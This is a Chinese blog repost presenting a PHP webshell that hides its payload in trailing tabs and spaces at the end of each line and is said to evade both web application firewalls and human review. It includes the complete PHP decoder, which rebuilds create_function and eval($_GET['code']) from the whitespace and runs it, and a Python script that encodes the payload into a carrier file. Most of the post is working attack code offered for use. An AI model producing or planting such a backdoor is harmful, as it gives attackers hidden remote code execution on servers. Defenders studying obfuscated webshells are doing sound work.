一个过人的php小马

转自:
https://imbawenzi.github.io/2019/04/18/一个有趣的webshell---将代码隐藏在空白处/
分享一个小马,不但过狗还过人。
小马代码部分:

<?php
    class newDataProvider {
        function __construct() {
            $f = file(__FILE__);
            $r = "";
            $c = "";
            for($i = 0; $i < count($f); $i++) {
                if($i < 15){
                    $r .= $this->dataProcessor($f[$i]);
                } else {
                    $c .= $this->dataProcessor($f[$i]);
                }
            }
            $t = $r('',"$c");
            $t();
        }
        function dataProcessor($li) {
            preg_match('/([\t ]+)\r?\n?$/', $li, $m);
            if (isset($m[1])) {
                $l = dechex(substr_count($m[1], "\t"));
                $r = dechex(substr_count($m[1], " "));
                $n = hexdec($l.$r);
                return chr($n);
            }
            return "";
        }
    }
    new newDataProvider();
?>

可以重点关注dataProcessor这个函数,通过正则匹配文件每一行最后的/t或者空格数,并以这两个的计数的十六进制分别代表一位,来拼成一个ascii码。显然这些空格和/t的数量是我们可以自己写好的,这样我们就可以构造空格和/t的数量来构造一个小马或者其他恶意代码。转载的博主已经实现了,可以看看:

funcName = 'create_function'
code = 'eval($_GET["code"]);'
blank = funcName+code

fin = open('test.php','r')
fout = open('testOutput.php','w')
content = fin.readlines()

if len(content) < len(blank):
    for i in range(len(blank)-len(content)):
        content += ['\n']

for i in range(len(blank)):
    tensPlace = int(hex(ord(blank[i]))[2], 16)
    onesPlace = int(hex(ord(blank[i]))[3], 16)
    if content[i][-1] == '\n':
        content[i] = content[i][0:-1] + tensPlace*'\t' + onesPlace*' ' + '\n'
    else:
        content[i] = content[i] + tensPlace*'\t' + onesPlace*' ' + '\n'

for line in content:
    fout.write(line)

fin.close()
fout.close()

利用python脚本来实现从指定代码到空格和/t的添加。这样就在之前的那个文件里面构造了合适的空格和/t来表示恶意代码。生成新的文件便是我们最终的恶意文件了。


111
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容

  • (源自摘抄整理)https://www.91ri.org/11494.html Webshell实现与隐藏探究 一...
    JackyTsuuuy阅读 21,091评论 2 13
  • 这是16年5月份编辑的一份比较杂乱适合自己观看的学习记录文档,今天18年5月份再次想写文章,发现简书还为我保存起的...
    Jenaral阅读 7,921评论 2 9
  • 黑客在入侵企业网站时,通常要通过各种方式获取webshell从而获得企业网站的控制权,然后方便进行之后的入侵行为。...
    查无此人asdasd阅读 9,167评论 0 3
  • 如果爱是美丽的理论 我想将它变成一辈子奉命惟谨的真理 实践是检验真理的唯一标准 你是我想一起实践的不二人选 自始至终
    烟波孤岛阅读 2,920评论 6 8
  • 真正的强者,都是绝处逢生! 人海茫茫,最难懂的是人心, 大千世界,最难寻的是真情, 因为用情太深,往往伤害的是自己...
    姚旺仁阅读 4,212评论 0 1